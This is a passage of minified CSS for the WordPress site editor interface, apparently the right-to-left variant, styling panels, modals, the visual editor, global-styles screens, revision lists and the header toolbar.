--wp-admin-theme-color:#007cba; --wp-admin-theme-color--rgb:0, 124, 186; --wp-admin-theme-color-darker-10:#006ba1; --wp-admin-theme-color-darker-10--rgb:0, 107, 161; --wp-admin-theme-color-darker-20:#005a87; --wp-admin-theme-color-darker-20--rgb:0, 90, 135; --wp-admin-border-width-focus:2px; --wp-block-synced-color:#7a00df; --wp-block-synced-color--rgb:122, 0, 223; } @media (min-resolution:192dpi){ :root{ --wp-admin-border-width-focus:1.5px; } } .components-panel__header.interface-complementary-area-header__small{ background:#fff; padding-left:4px; } .components-panel__header.interface-complementary-area-header__small .interface-complementary-area-header__small-title{ overflow:hidden; text-overflow:ellipsis; white-space:nowrap; width:100%; } @media (min-width:782px){ .components-panel__header.interface-complementary-area-header__small{ display:none; } } .interface-complementary-area-header{ background:#fff; padding-left:4px; } .interface-complementary-area-header .components-button.has-icon{ display:none; margin-right:auto; } .interface-complementary-area-header .components-button.has-icon~.components-button{ margin-right:0; } @media (min-width:782px){ .interface-complementary-area-header .components-button.has-icon{ display:flex; } .components-panel__header+.interface-complementary-area-header{ margin-top:0; } } .interface-complementary-area{ background:#fff; color:#1e1e1e; } @media (min-width:600px){ .interface-complementary-area{ -webkit-overflow-scrolling:touch; } } @media (min-width:782px){ .interface-complementary-area{ width:280px; } } .interface-complementary-area .components-panel{ border:none; position:relative; z-index:0; } .interface-complementary-area .components-panel__header{ position:sticky; top:0; z-index:1; } .interface-complementary-area .components-panel__header.edit-post-sidebar__panel-tabs{ top:48px; } @media (min-width:782px){ .interface-complementary-area .components-panel__header.edit-post-sidebar__panel-tabs{ top:0; } } .interface-complementary-area p:not(.components-base-control__help){ margin-top:0; } .interface-complementary-area h2{ color:#1e1e1e; font-size:13px; margin-bottom:1.5em; } .interface-complementary-area h3{ color:#1e1e1e; font-size:11px; font-weight:500; margin-bottom:1.5em; text-transform:uppercase; } .interface-complementary-area hr{ border-bottom:1px solid #f0f0f0; border-top:none; margin:1.5em 0; } .interface-complementary-area div.components-toolbar,.interface-complementary-area div.components-toolbar-group{ box-shadow:none; margin-bottom:1.5em; } .interface-complementary-area div.components-toolbar-group:last-child,.interface-complementary-area div.components-toolbar:last-child{ margin-bottom:0; } .interface-complementary-area .block-editor-skip-to-selected-block:focus{ bottom:10px; left:10px; right:auto; top:auto; } @media (min-width:782px){ body.js.is-fullscreen-mode{ height:calc(100% + 32px); margin-top:-32px; } body.js.is-fullscreen-mode #adminmenumain,body.js.is-fullscreen-mode #wpadminbar{ display:none; } body.js.is-fullscreen-mode #wpcontent,body.js.is-fullscreen-mode #wpfooter{ margin-right:0; } } html.interface-interface-skeleton__html-container{ position:fixed; width:100%; } @media (min-width:782px){ html.interface-interface-skeleton__html-container{ position:static; width:auto; } } .interface-interface-skeleton{ bottom:0; display:flex; flex-direction:row; height:auto; left:0; max-height:100%; position:fixed; top:46px; } @media (min-width:783px){ .interface-interface-skeleton{ top:32px; } .is-fullscreen-mode .interface-interface-skeleton{ top:0; } } .interface-interface-skeleton__editor{ display:flex; flex:0 1 100%; flex-direction:column; overflow:hidden; } .interface-interface-skeleton{ right:0; } @media (min-width:783px){ .interface-interface-skeleton{ right:160px; } } @media (min-width:783px){ .auto-fold .interface-interface-skeleton{ right:36px; } } @media (min-width:961px){ .auto-fold .interface-interface-skeleton{ right:160px; } } .folded .interface-interface-skeleton{ right:0; } @media (min-width:783px){ .folded .interface-interface-skeleton{ right:36px; } } body.is-fullscreen-mode .interface-interface-skeleton{ right:0 !important; } .interface-interface-skeleton__body{ display:flex; flex-grow:1; overflow:auto; overscroll-behavior-y:none; } @media (min-width:782px){ .has-footer .interface-interface-skeleton__body{ padding-bottom:25px; } } .interface-interface-skeleton__content{ display:flex; flex-direction:column; flex-grow:1; overflow:auto; z-index:20; } @media (min-width:782px){ .interface-interface-skeleton__content{ z-index:auto; } } .interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{ background:#fff; bottom:0; color:#1e1e1e; flex-shrink:0; left:0; position:absolute; right:0; top:0; z-index:100000; } @media (min-width:782px){ .interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{ position:relative !important; width:auto; } .is-sidebar-opened .interface-interface-skeleton__secondary-sidebar,.is-sidebar-opened .interface-interface-skeleton__sidebar{ z-index:90; } } .interface-interface-skeleton__sidebar{ overflow:auto; } @media (min-width:782px){ .interface-interface-skeleton__sidebar{ border-right:1px solid #e0e0e0; } .interface-interface-skeleton__secondary-sidebar{ border-left:1px solid #e0e0e0; } } .interface-interface-skeleton__header{ border-bottom:1px solid #e0e0e0; color:#1e1e1e; flex-shrink:0; height:auto; z-index:30; } .interface-interface-skeleton__footer{ background-color:#fff; border-top:1px solid #e0e0e0; bottom:0; color:#1e1e1e; display:none; flex-shrink:0; height:auto; position:absolute; right:0; width:100%; z-index:90; } @media (min-width:782px){ .interface-interface-skeleton__footer{ display:flex; } } .interface-interface-skeleton__footer .block-editor-block-breadcrumb{ align-items:center; background:#fff; display:flex; font-size:13px; height:24px; padding:0 18px; z-index:30; } .interface-interface-skeleton__actions{ background:#fff; bottom:auto; color:#1e1e1e; left:0; position:fixed !important; right:auto; top:-9999em; width:100vw; z-index:100000; } @media (min-width:782px){ .interface-interface-skeleton__actions{ width:280px; } } .interface-interface-skeleton__actions:focus,.interface-interface-skeleton__actions:focus-within{ bottom:0; top:auto; } .is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{ top:46px; } @media (min-width:782px){ .is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{ border-right:1px solid #ddd; top:32px; } .is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{ top:0; } } .interface-more-menu-dropdown{ margin-right:-4px; } .interface-more-menu-dropdown .components-button{ padding:0 2px; width:auto; } @media (min-width:600px){ .interface-more-menu-dropdown{ margin-right:0; } .interface-more-menu-dropdown .components-button{ padding:0 4px; } } .interface-more-menu-dropdown__content .components-popover__content{ min-width:280px; } @media (min-width:480px){ .interface-more-menu-dropdown__content .components-popover__content{ max-width:480px; } } .interface-more-menu-dropdown__content .components-popover__content .components-dropdown-menu__menu{ padding:0; } .components-popover.interface-more-menu-dropdown__content{ z-index:99998; } .interface-pinned-items{ display:flex; gap:4px; margin-left:-4px; } .interface-pinned-items .components-button{ display:none; margin:0; } .interface-pinned-items .components-button[aria-controls="edit-post:block"],.interface-pinned-items .components-button[aria-controls="edit-post:document"],.interface-pinned-items .components-button[aria-controls="edit-site:block-inspector"],.interface-pinned-items .components-button[aria-controls="edit-site:global-styles"],.interface-pinned-items .components-button[aria-controls="edit-site:template"]{ display:flex; } .interface-pinned-items .components-button svg{ max-height:24px; max-width:24px; } @media (min-width:600px){ .interface-pinned-items .components-button{ display:flex; } .interface-preferences-modal{ height:calc(100% - 120px); width:calc(100% - 32px); } } @media (min-width:782px){ .interface-preferences-modal{ width:750px; } } @media (min-width:960px){ .interface-preferences-modal{ height:70%; } } @media (max-width:781px){ .interface-preferences-modal .components-modal__content{ padding:0; } } .interface-preferences__tabs .components-tab-panel__tabs{ position:absolute; right:16px; top:84px; width:160px; } .interface-preferences__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item{ border-radius:2px; font-weight:400; } .interface-preferences__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item.is-active{ background:#f0f0f0; box-shadow:none; font-weight:500; } .interface-preferences__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item.is-active:after{ content:none; } .interface-preferences__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item:focus:not(:disabled){ box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); outline:2px solid transparent; } .interface-preferences__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item:focus-visible:before{ content:none; } .interface-preferences__tabs .components-tab-panel__tab-content{ margin-right:160px; padding-right:24px; } @media (max-width:781px){ .interface-preferences__provider{ height:100%; } } .interface-preferences-modal__section{ margin:0 0 2.5rem; } .interface-preferences-modal__section:last-child{ margin:0; } .interface-preferences-modal__section-legend{ margin-bottom:8px; } .interface-preferences-modal__section-title{ font-size:.9rem; font-weight:600; margin-top:0; } .interface-preferences-modal__section-description{ color:#757575; font-size:12px; font-style:normal; margin:-8px 0 8px; } .interface-preferences-modal__option+.interface-preferences-modal__option{ margin-top:16px; } .interface-preferences-modal__option .components-base-control__help{ margin-right:48px; margin-top:0; } .edit-site-custom-template-modal__contents-wrapper{ height:100%; justify-content:flex-start !important; } .edit-site-custom-template-modal__contents-wrapper>*{ width:100%; } .edit-site-custom-template-modal__contents-wrapper__suggestions_list{ margin-left:-12px; margin-right:-12px; width:calc(100% + 24px); } .edit-site-custom-template-modal__contents>.components-button{ height:auto; justify-content:center; } .edit-site-custom-template-modal .components-search-control input[type=search].components-search-control__input{ background:#fff; border:1px solid #ddd; } .edit-site-custom-template-modal .components-search-control input[type=search].components-search-control__input:focus{ border-color:var(--wp-admin-theme-color); box-shadow:0 0 0 1px var(--wp-admin-theme-color); } @media (min-width:782px){ .edit-site-custom-template-modal{ width:456px; } } @media (min-width:600px){ .edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list{ overflow:scroll; } } .edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item{ display:block; height:auto; overflow-wrap:break-word; padding:8px 12px; text-align:right; white-space:pre-wrap; width:100%; } .edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item mark{ background:none; font-weight:700; } .edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:hover{ background:rgba(var(--wp-admin-theme-color--rgb), .04); } .edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:hover *,.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:hover mark{ color:var(--wp-admin-theme-color); } .edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:focus{ background-color:#f0f0f0; } .edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:focus:not(:disabled){ box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color) inset; } .edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item__info,.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item__title{ display:block; overflow:hidden; text-overflow:ellipsis; } .edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item__info{ color:#757575; word-break:break-all; } .edit-site-custom-template-modal__no-results{ border:1px solid #ccc; border-radius:2px; padding:16px; } .edit-site-custom-generic-template__modal .components-modal__header{ border-bottom:none; } .edit-site-custom-generic-template__modal .components-modal__content:before{ margin-bottom:4px; } .edit-site-template-actions-loading-screen-modal{ -webkit-backdrop-filter:none; backdrop-filter:none; background-color:transparent; } .edit-site-template-actions-loading-screen-modal.is-full-screen{ background-color:#fff; box-shadow:0 0 0 transparent; min-height:100%; min-width:100%; } .edit-site-template-actions-loading-screen-modal__content{ align-items:center; display:flex; height:100%; justify-content:center; position:absolute; right:50%; transform:translateX(50%); } .edit-site-add-new-template__modal{ margin-top:64px; max-height:calc(100% - 128px); max-width:832px; width:calc(100% - 64px); } @media (min-width:960px){ .edit-site-add-new-template__modal{ width:calc(100% - 128px); } } .edit-site-add-new-template__modal .edit-site-add-new-template__custom-template-button svg,.edit-site-add-new-template__modal .edit-site-add-new-template__template-button svg{ fill:var(--wp-admin-theme-color); } .edit-site-add-new-template__modal .edit-site-add-new-template__custom-template-button .edit-site-add-new-template__template-name{ align-items:flex-start; flex-grow:1; } .edit-site-add-new-template__modal .edit-site-add-new-template__template-icon{ background:rgba(var(--wp-admin-theme-color--rgb), .04); border-radius:100%; max-height:40px; max-width:40px; padding:8px; } .edit-site-add-new-template__template-list__contents>.components-button,.edit-site-custom-template-modal__contents>.components-button{ border:1px solid #ddd; border-radius:2px; display:flex; flex-direction:column; justify-content:center; outline:1px solid transparent; padding:32px; } .edit-site-add-new-template__template-list__contents>.components-button span:first-child,.edit-site-custom-template-modal__contents>.components-button span:first-child{ color:#1e1e1e; } .edit-site-add-new-template__template-list__contents>.components-button span,.edit-site-custom-template-modal__contents>.components-button span{ color:#757575; } .edit-site-add-new-template__template-list__contents>.components-button:hover,.edit-site-custom-template-modal__contents>.components-button:hover{ background:rgba(var(--wp-admin-theme-color--rgb), .04); border-color:transparent; color:var(--wp-admin-theme-color-darker-10); } .edit-site-add-new-template__template-list__contents>.components-button:hover span,.edit-site-custom-template-modal__contents>.components-button:hover span{ color:var(--wp-admin-theme-color); } .edit-site-add-new-template__template-list__contents>.components-button:focus,.edit-site-custom-template-modal__contents>.components-button:focus{ border-color:transparent; box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); outline:3px solid transparent; } .edit-site-add-new-template__template-list__contents>.components-button:focus span:first-child,.edit-site-custom-template-modal__contents>.components-button:focus span:first-child{ color:var(--wp-admin-theme-color); } .edit-site-add-new-template__template-list__contents .edit-site-add-new-template__custom-template-button,.edit-site-add-new-template__template-list__contents .edit-site-add-new-template__template-list__prompt,.edit-site-custom-template-modal__contents .edit-site-add-new-template__custom-template-button,.edit-site-custom-template-modal__contents .edit-site-add-new-template__template-list__prompt{ grid-column-end:4; grid-column-start:1; } .edit-site-add-new-template__template-list__contents>.components-button{ align-items:flex-start; height:100%; text-align:start; } .edit-site-block-editor__editor-styles-wrapper .components-button{ font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; font-size:13px; padding:6px 12px; } .edit-site-block-editor__editor-styles-wrapper .components-button.has-icon,.edit-site-block-editor__editor-styles-wrapper .components-button.is-tertiary{ padding:6px; } .edit-site-block-editor__block-list.is-navigation-block{ padding:24px; } .edit-site-visual-editor{ align-items:center; background-color:#1e1e1e; display:block; height:100%; overflow:hidden; position:relative; } .edit-site-visual-editor iframe{ background:#fff; display:block; height:100%; width:100%; } .edit-site-visual-editor .edit-site-visual-editor__editor-canvas{ height:100%; } .edit-site-visual-editor .edit-site-visual-editor__editor-canvas.is-focused{ outline:calc(var(--wp-admin-border-width-focus)*2) solid var(--wp-admin-theme-color); outline-offset:calc(var(--wp-admin-border-width-focus)*-2); } .edit-site-layout.is-full-canvas .edit-site-visual-editor.is-focus-mode{ padding:48px; } .edit-site-visual-editor.is-focus-mode .edit-site-visual-editor__editor-canvas{ border-radius:2px; max-height:100%; } .edit-site-visual-editor.is-focus-mode .components-resizable-box__container{ overflow:visible; } .edit-site-visual-editor .components-resizable-box__container{ margin:0 auto; overflow:auto; } .edit-site-visual-editor.is-view-mode{ box-shadow:0 20px 25px -5px rgba(0,0,0,.8),0 8px 10px -6px rgba(0,0,0,.8); } .edit-site-visual-editor.is-view-mode .block-editor-block-contextual-toolbar.is-fixed{ display:none; } .edit-site-visual-editor__back-button{ color:#fff; position:absolute; right:8px; top:8px; } .edit-site-visual-editor__back-button:active:not([aria-disabled=true]),.edit-site-visual-editor__back-button:focus:not([aria-disabled=true]),.edit-site-visual-editor__back-button:hover{ color:#f0f0f0; } .resizable-editor__drag-handle{ -webkit-appearance:none; appearance:none; background:none; border:0; border-radius:2px; bottom:0; cursor:ew-resize; margin:auto 0; outline:none; padding:0; position:absolute; top:0; width:12px; } .resizable-editor__drag-handle.is-variation-default{ height:100px; } .resizable-editor__drag-handle.is-variation-separator{ height:100%; left:0; width:24px; } .resizable-editor__drag-handle.is-variation-separator:after{ background:transparent; border-radius:0; left:0; right:50%; transform:translateX(1px); transition:all .2s ease; transition-delay:.1s; width:2px; } @media (prefers-reduced-motion:reduce){ .resizable-editor__drag-handle.is-variation-separator:after{ animation-delay:0s; animation-duration:1ms; transition-delay:0s; transition-duration:0s; } } .resizable-editor__drag-handle:after{ background:#949494; border-radius:2px; bottom:24px; content:""; left:0; position:absolute; right:4px; top:24px; width:4px; } .resizable-editor__drag-handle.is-left{ right:-16px; } .resizable-editor__drag-handle.is-right{ left:-16px; } .resizable-editor__drag-handle:active,.resizable-editor__drag-handle:hover{ opacity:1; } .resizable-editor__drag-handle:active.is-variation-default:after,.resizable-editor__drag-handle:hover.is-variation-default:after{ background:#ccc; } .resizable-editor__drag-handle:active.is-variation-separator:after,.resizable-editor__drag-handle:hover.is-variation-separator:after{ background:var(--wp-admin-theme-color); } .resizable-editor__drag-handle:focus:after{ box-shadow:0 0 0 1px #2f2f2f, 0 0 0 calc(var(--wp-admin-border-width-focus) + 1px) var(--wp-admin-theme-color); } .resizable-editor__drag-handle.is-variation-separator:focus:after{ border-radius:2px; box-shadow:inset 0 0 0 2px var(--wp-admin-theme-color); } .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{ right:0; } @media (min-width:783px){ .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{ right:160px; } } @media (min-width:783px){ .auto-fold .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{ right:36px; } } @media (min-width:961px){ .auto-fold .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{ right:160px; } } .folded .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{ right:0; } @media (min-width:783px){ .folded .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{ right:36px; } } body.is-fullscreen-mode .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{ right:0 !important; } .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{ display:block; position:sticky; top:0; width:100%; z-index:31; } @media (min-width:782px){ .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{ align-items:center; display:flex; height:60px; margin-right:180px; min-height:auto; position:fixed; top:32px; width:calc(100% - 180px); } .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed.is-collapsed,.edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed:empty{ width:auto; } .is-fullscreen-mode .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{ margin-right:240px; top:0; } .is-fullscreen-mode .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed.is-collapsed,.is-fullscreen-mode .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed:empty{ width:auto; } .show-icon-labels .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{ margin-right:80px; width:calc(100% - 140px); } .is-fullscreen-mode .show-icon-labels .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{ margin-right:144px; } } @media (min-width:960px){ .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed,.show-icon-labels .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{ width:auto; } .is-fullscreen-mode .edit-site-visual-editor .block-editor-block-contextual-toolbar.is-fixed{ width:calc(100% - 536px); } } .edit-site-canvas-loader{ align-items:center; animation:edit-site-canvas-loader__fade-in-animation .5s ease .2s; animation-fill-mode:forwards; display:flex; height:100%; justify-content:center; opacity:0; position:absolute; right:0; top:0; width:100%; } @media (prefers-reduced-motion:reduce){ .edit-site-canvas-loader{ animation-delay:0s; animation-duration:1ms; } } .edit-site-canvas-loader>div{ width:160px; } @keyframes edit-site-canvas-loader__fade-in-animation{ 0%{ opacity:0; } to{ opacity:1; } } .edit-site-code-editor{ background-color:#fff; min-height:100%; position:relative; width:100%; } .edit-site-code-editor__body{ margin-left:auto; margin-right:auto; max-width:1080px; padding:12px; width:100%; } @media (min-width:960px){ .edit-site-code-editor__body{ padding:24px; } } .edit-site-code-editor__toolbar{ background:hsla(0,0%,100%,.8); display:flex; left:0; padding:4px 12px; position:sticky; right:0; top:0; z-index:1; } @media (min-width:600px){ .edit-site-code-editor__toolbar{ padding:12px; } } @media (min-width:960px){ .edit-site-code-editor__toolbar{ padding:12px 24px; } } .edit-site-code-editor__toolbar h2{ color:#1e1e1e; font-size:13px; line-height:36px; margin:0 0 0 auto; } .edit-site-code-editor__toolbar .components-button svg{ order:1; } textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area{ border:1px solid #949494; border-radius:0; box-shadow:none; display:block; font-family:Menlo,Consolas,monaco,monospace; font-size:16px !important; line-height:2.4; margin:0; min-height:200px; overflow:hidden; padding:16px; resize:none; transition:border .1s ease-out,box-shadow .1s linear; width:100%; } @media (prefers-reduced-motion:reduce){ textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area{ transition-delay:0s; transition-duration:0s; } } @media (min-width:600px){ textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area{ font-size:15px !important; padding:24px; } } textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area:focus{ border-color:var(--wp-admin-theme-color); box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); position:relative; } textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area::-webkit-input-placeholder{ color:rgba(30,30,30,.62); } textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area::-moz-placeholder{ color:rgba(30,30,30,.62); opacity:1; } textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area:-ms-input-placeholder{ color:rgba(30,30,30,.62); } .edit-site-global-styles-preview{ align-items:center; cursor:pointer; display:flex; justify-content:center; line-height:1; } .edit-site-global-styles-preview__iframe{ display:block; max-width:100%; } .edit-site-typography-preview{ align-items:center; background:#f0f0f0; border-radius:2px; display:flex; justify-content:center; margin-bottom:16px; min-height:100px; overflow:hidden; } .edit-site-typography-panel__full-width-control{ grid-column:1 / -1; max-width:100%; } .edit-site-global-styles-screen-css,.edit-site-global-styles-screen-typography{ margin:16px; } .edit-site-global-styles-screen-typography__indicator{ align-items:center; border-radius:2px; display:flex !important; font-size:14px; height:24px; justify-content:center; width:24px; } .edit-site-global-styles-screen-colors{ margin:16px; } .edit-site-global-styles-screen-colors .color-block-support-panel{ border-top:none; padding-left:0; padding-right:0; } .edit-site-global-styles-header__description{ padding:0 16px; } .edit-site-block-types-search{ margin-bottom:8px; padding:0 16px; } .edit-site-global-styles-header{ margin-bottom:0 !important; } .edit-site-global-styles-subtitle{ font-size:11px !important; font-weight:500 !important; margin-bottom:0 !important; text-transform:uppercase; } .edit-site-global-styles-section-title{ color:#2f2f2f; font-weight:600; line-height:1.2; margin:0; padding:16px 16px 0; } .edit-site-global-styles-variations_item{ border-radius:2px; box-sizing:border-box; } .edit-site-global-styles-variations_item .edit-site-global-styles-variations_item-preview{ border-radius:2px; box-shadow:0 0 0 1px #e0e0e0; outline:1px solid transparent; padding:2px; } .edit-site-global-styles-variations_item.is-active .edit-site-global-styles-variations_item-preview{ box-shadow:0 0 0 1px #1e1e1e; outline-width:3px; } .edit-site-global-styles-variations_item:hover .edit-site-global-styles-variations_item-preview{ box-shadow:0 0 0 1px var(--wp-admin-theme-color); } .edit-site-global-styles-variations_item:focus .edit-site-global-styles-variations_item-preview{ box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); } .edit-site-global-styles-variations_item:focus-visible{ outline:3px solid transparent; outline-offset:0; } .edit-site-global-styles-icon-with-current-color{ fill:currentColor; } .edit-site-global-styles__color-indicator-wrapper{ flex-shrink:0; height:24px; } .edit-site-global-styles__block-preview-panel{ border:1px solid #e0e0e0; border-radius:2px; overflow:auto; position:relative; width:100%; } .edit-site-global-styles-screen-css{ display:flex; flex:1 1 auto; flex-direction:column; } .edit-site-global-styles-screen-css .components-v-stack{ flex:1 1 auto; } .edit-site-global-styles-screen-css .components-v-stack .block-editor-global-styles-advanced-panel__custom-css-input,.edit-site-global-styles-screen-css .components-v-stack .block-editor-global-styles-advanced-panel__custom-css-input .components-base-control__field{ display:flex; flex:1 1 auto; flex-direction:column; } .edit-site-global-styles-screen-css .components-v-stack .block-editor-global-styles-advanced-panel__custom-css-input .components-base-control__field .components-textarea-control__input{ direction:ltr; flex:1 1 auto; } .edit-site-global-styles-screen-css-help-link{ display:block; margin-top:8px; } .edit-site-global-styles-screen-variations{ border-top:1px solid #ddd; margin-top:16px; } .edit-site-global-styles-screen-variations>*{ margin:24px 16px; } .edit-site-global-styles-sidebar__navigator-screen{ display:flex; flex-direction:column; } .edit-site-global-styles-screen-root.edit-site-global-styles-screen-root,.edit-site-global-styles-screen-style-variations.edit-site-global-styles-screen-style-variations{ background:unset; color:inherit; } .edit-site-global-styles-sidebar__panel .block-editor-block-icon svg{ fill:currentColor; } [class][class].edit-site-global-styles-sidebar__revisions-count-badge{ align-items:center; background:#2f2f2f; border-radius:2px; color:#fff; display:inline-flex; justify-content:center; min-height:24px; min-width:24px; } .edit-site-global-styles-screen-revisions{ margin:16px; } .edit-site-global-styles-screen-revisions__revisions-list{ list-style:none; margin:0; } .edit-site-global-styles-screen-revisions__revisions-list li{ border-right:1px solid #ddd; margin-bottom:0; } .edit-site-global-styles-screen-revisions__revision-item{ padding:8px 12px 8px 0; position:relative; } .edit-site-global-styles-screen-revisions__revision-item:first-child{ padding-top:0; } .edit-site-global-styles-screen-revisions__revision-item:last-child{ padding-bottom:0; } .edit-site-global-styles-screen-revisions__revision-item:before{ background:#ddd; border-radius:50%; content:"\a"; display:inline-block; height:8px; position:absolute; right:0; top:50%; transform:translate(50%, -50%); width:8px; } .edit-site-global-styles-screen-revisions__revision-item.is-selected:before{ background:var(--wp-components-color-accent, var(--wp-admin-theme-color, #007cba)); } .edit-site-global-styles-screen-revisions__revision-button{ display:block; height:auto; padding:8px 12px; width:100%; } .edit-site-global-styles-screen-revisions__revision-button:hover{ background:rgba(var(--wp-admin-theme-color--rgb), .04); } .edit-site-global-styles-screen-revisions__revision-button:hover .edit-site-global-styles-screen-revisions__date{ color:var(--wp-admin-theme-color); } .is-selected .edit-site-global-styles-screen-revisions__revision-button{ background:rgba(var(--wp-admin-theme-color--rgb), .04); color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #007cba)); opacity:1; } .is-selected .edit-site-global-styles-screen-revisions__meta{ color:var(--wp-admin-theme-color); } .edit-site-global-styles-screen-revisions__button{ justify-content:center; width:100%; } .edit-site-global-styles-screen-revisions__description{ align-items:flex-start; display:flex; flex-direction:column; gap:8px; } .edit-site-global-styles-screen-revisions__meta{ align-items:center; color:#757575; display:flex; justify-content:space-between; text-align:right; width:100%; } .edit-site-global-styles-screen-revisions__meta img{ border-radius:100%; height:16px; width:16px; } .edit-site-global-styles-screen-revisions__loading{ margin:24px auto !important; } .edit-site-header-edit-mode{ align-items:center; background-color:#fff; border-bottom:1px solid #e0e0e0; box-sizing:border-box; color:#1e1e1e; display:flex; height:60px; justify-content:space-between; padding-right:60px; width:100%; } .edit-site-header-edit-mode .edit-site-header-edit-mode__start{ border:none; display:flex; } .edit-site-header-edit-mode .edit-site-header-edit-mode__end{ display:flex; justify-content:flex-end; } .edit-site-header-edit-mode .edit-site-header-edit-mode__center{ align-items:center; display:flex; flex-grow:1; height:100%; justify-content:center; margin:0 8px; min-width:0; } .edit-site-header-edit-mode__toolbar{ align-items:center; display:flex; padding-right:8px; } @media (min-width:600px){ .edit-site-header-edit-mode__toolbar{ padding-right:24px; } } @media (min-width:1280px){ .edit-site-header-edit-mode__toolbar{ padding-left:8px; } } .edit-site-header-edit-mode__toolbar .edit-site-header-edit-mode__inserter-toggle{ height:32px; margin-left:8px; min-width:32px; padding:0; width:32px; } .edit-site-header-edit-mode__toolbar .edit-site-header-edit-mode__inserter-toggle svg{ transition:transform .2s cubic-bezier(.165, .84, .44, 1); } @media (prefers-reduced-motion:reduce){ .edit-site-header-edit-mode__toolbar .edit-site-header-edit-mode__inserter-toggle svg{ transition-delay:0s; transition-duration:0s; } } .edit-site-header-edit-mode__toolbar .edit-site-header-edit-mode__inserter-toggle.is-pressed svg{ transform:rotate(-45deg); } .edit-site-header-edit-mode__actions{ align-items:center; display:inline-flex; gap:4px; padding-left:4px; } @media (min-width:600px){ .edit-site-header-edit-mode__actions{ gap:8px; padding-left:10px; } } .edit-site-header-edit-mode__preview-options{ opacity:1; transition:opacity .3s; } .edit-site-header-edit-mode__preview-options.is-zoomed-out{ opacity:0; } .edit-site-header-edit-mode__start{ border:none; display:flex; } .edit-site-header-edit-mode__start .edit-site-header-edit-mode__toolbar>.components-button.has-icon,.edit-site-header-edit-mode__start .edit-site-header-edit-mode__toolbar>.components-dropdown>.components-button.has-icon{ height:36px; min-width:36px; padding:6px; } .edit-site-header-edit-mode__start .edit-site-header-edit-mode__toolbar>.components-button.has-icon.is-pressed,.edit-site-header-edit-mode__start .edit-site-header-edit-mode__toolbar>.components-dropdown>.components-button.has-icon.is-pressed{ background:#1e1e1e; } .edit-site-header-edit-mode__start .edit-site-header-edit-mode__toolbar>.components-button.has-icon:focus:not(:disabled),.edit-site-header-edit-mode__start .edit-site-header-edit-mode__toolbar>.components-dropdown>.components-button.has-icon:focus:not(:disabled){ box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color), inset 0 0 0 1px #fff; outline:1px solid transparent; } .edit-site-header-edit-mode__start .edit-site-header-edit-mode__toolbar>.components-button.has-icon:before,.edit-site-header-edit-mode__start .edit-site-header-edit-mode__toolbar>.components-dropdown>.components-button.has-icon:before{ display:none; } .edit-site-header-edit-mode__start .edit-site-header-edit-mode__toolbar>.edit-site-header-edit-mode__inserter-toggle.has-icon{ height:32px; margin-left:8px; min-width:32px; padding:0; width:32px; } .edit-site-header-edit-mode__start .edit-site-header-edit-mode__toolbar>.edit-site-header-edit-mode__inserter-toggle.has-text.has-icon{ padding:0 8px; width:auto; } .edit-site-header-edit-mode.show-icon-labels .components-button.has-icon{ width:auto; } .edit-site-header-edit-mode.show-icon-labels .components-button.has-icon svg{ display:none; } 